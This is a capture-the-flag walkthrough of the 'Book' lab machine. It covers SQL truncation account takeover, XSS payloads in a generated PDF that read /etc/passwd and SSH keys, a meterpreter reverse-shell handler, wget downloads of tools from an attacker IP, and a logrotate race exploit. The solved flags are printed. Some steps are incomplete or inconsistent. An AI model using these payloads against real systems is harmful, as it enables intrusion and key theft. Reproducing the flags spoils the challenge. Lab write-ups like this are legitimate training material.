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Book
================
|    BOOK 10.10.10.176    |
================

InfoGathering
[*] Nmap: PORT   STATE SERVICE VERSION
[*] Nmap: 22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: |   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
[*] Nmap: |   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
[*] Nmap: |_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
[*] Nmap: 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
[*] Nmap: | http-cookie-flags:
[*] Nmap: |   /:
[*] Nmap: |     PHPSESSID:
[*] Nmap: |_      httponly flag not set
[*] Nmap: |_http-server-header: Apache/2.4.29 (Ubuntu)
[*] Nmap: |_http-title: LIBRARY - Read | Learn | Have Fun
[*] Nmap: No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/
submit/ ).

COMMON.TXT WORDLIST RESULTS
admin                   [Status: 200, Size: 6291, Words: 377, Lines: 308]
.hta                    [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10]
.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10]
docs                    [Status: 403, Size: 277, Words: 20, Lines: 10]
index.php               [Status: 200, Size: 6800, Words: 461, Lines: 322]
images                  [Status: 403, Size: 277, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]
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LOGIN PAGE AT
http://10.10.10.176/admin/ 
http://10.10.10.176/ 

Gaining Access
We are able to sign up for an account. In a situation where this occurs we will want to test for a SQL 
Truncation Attack.
If you are an idiot like me and dont know what truncate means it means to shorten the duration or extent 
of something. 
This is an appropriate meaning for how the attack works.

A SQL Truncation vulnerability is created when the user input value is not validating for length. 
The default administrator account in MySQL is admin. MySQL does not compare strings in binary mode so 
the string admin is equal to the string admin in the database.
If we create an account "admin tobor" and the application searches the database for this user and it cant 
find it because the username column is limited to 20 characters and the attacker supplied 21 characters the 
application will accept the new username and insert it into the database. Due to the 20 character column 
length, the app will truncate the username and insert it as admin. Now the table will contain 2 admin users.
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The below burp requests is the capture of me creating a user to sign in as. We use an email address to 
sign in which means we are guessing the admin accounts email.

If you response says User Exists you did something wrong. Click Follow redirection

Now sign in using the credentials we just set to gain admin access
http://10.10.10.176/admin/ 
USER: admin@book.htb
PASS: admin123123
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At http://10.10.10.176/collections.php we are able to upload a file. The admin has to approced these 
submissions for approval. 
I created a user account at http://10.10.10.176 which I then signed into and tried uploading a PDF. (I 
downloaded the pdf from the admin area)

/* Read the passwd file  */
<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open
("GET","file:///etc/passwd");x.send();</script>

/* Read an ssh key */
<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open
("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>

REFERENCE: https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html 

We now have an SSH Key!

PRIVATE KEY ssh.key
-----BEGIN RSA PRIVATE KEY----------END RSA PRIVATE KEY-----

Access the target machine
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chmod 600 ssh.key
ssh reader@10.10.10.176 -i ssh.key
yes

Now read the user flag
cat /home/reader/user.txt
# RESULTS
51c1d4b5197fa30e3e5d37f8778f95bc

USER FLAG: 51c1d4b5197fa30e3e5d37f8778f95bc

PrivEsc
No matter the shell I have my next step is gain a meterpreter.
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msfconsole
use exploit/multi/script/handler
set LHOST 10.10.14.8
set SRVHOST 10.10.14.8
set LPORT 8081
set SRVPORT 8082
set target Python
set payload python/meterpreter/reverse_tcp

Now that we have access to the box we want to run the typical enum steps. During that enum pspy64 
returned something interesting
# Download pspy64 to target
mkdir /tmp/tobor
cd /tmp/tobor
wget http://10.10.14.8/pspy64

# Make the file executable and run it
chmod +x pspy64
./pspy64

As can bee seen in the above output, logrotate is being run as root (UID=0). This may mean it is 
vulnerable to LogRotten exploit opening the door for our priviledge escalation. 
Lets see what version logrotate is
logrotate --version
# RESULTS
logrotate 3.11.0

Reading the logrotten README we can see this is a vulnerable version
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## Tested version  
  - Debian GNU/Linux 9.5 (stretch)
  - Amazon Linux 2 AMI 
(HVM)                                                                                                                          
  - Ubuntu 18.04.1
  - logrotate 3.8.6
  - logrotate 3.11.0
  - logrotate 3.15.0

Logrotate is prone to a race condition.
If the below conditions are met we can use the logrotten exploit. 
- logrotate needs to be executed as root 
- The logpath needs to be in control of the attacker
- Any option that creates files is set in the logrotate configuration
REFERENCE: https://github.com/whotwagner/logrotten 

# Download logrotten to box
cd /tmp/tobor
wget http://10.10.14.8/toborotten
chmod +x toborotten

# Create the payload file. We are going to steal the root ssh key
echo "if [ `id -u` -eq 0 ]; then (echo /root/.ssh/id_rsa >> /tmp/tobor.txt &); fi" > bookpriv

# Execute the payload
./toborotten -p ./bookpriv /home/reader/backups/access.log

SSH in as root and read the root flag
chmod 600 rootssh.key
ssh root@10.10.10.176 -i rootssh.key
cat /root/root.txt

# RESULTS
84da92adf998a1c7231297f70dd89714

CONTENTS OF log.cfg FILE USED BY LOGROTATE
/home/reader/backups/access.log {
        daily
        rotate 12
        missingok
        notifempty
        size 1k
        create
}
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ROOT FLAG: 84da92adf998a1c7231297f70dd89714


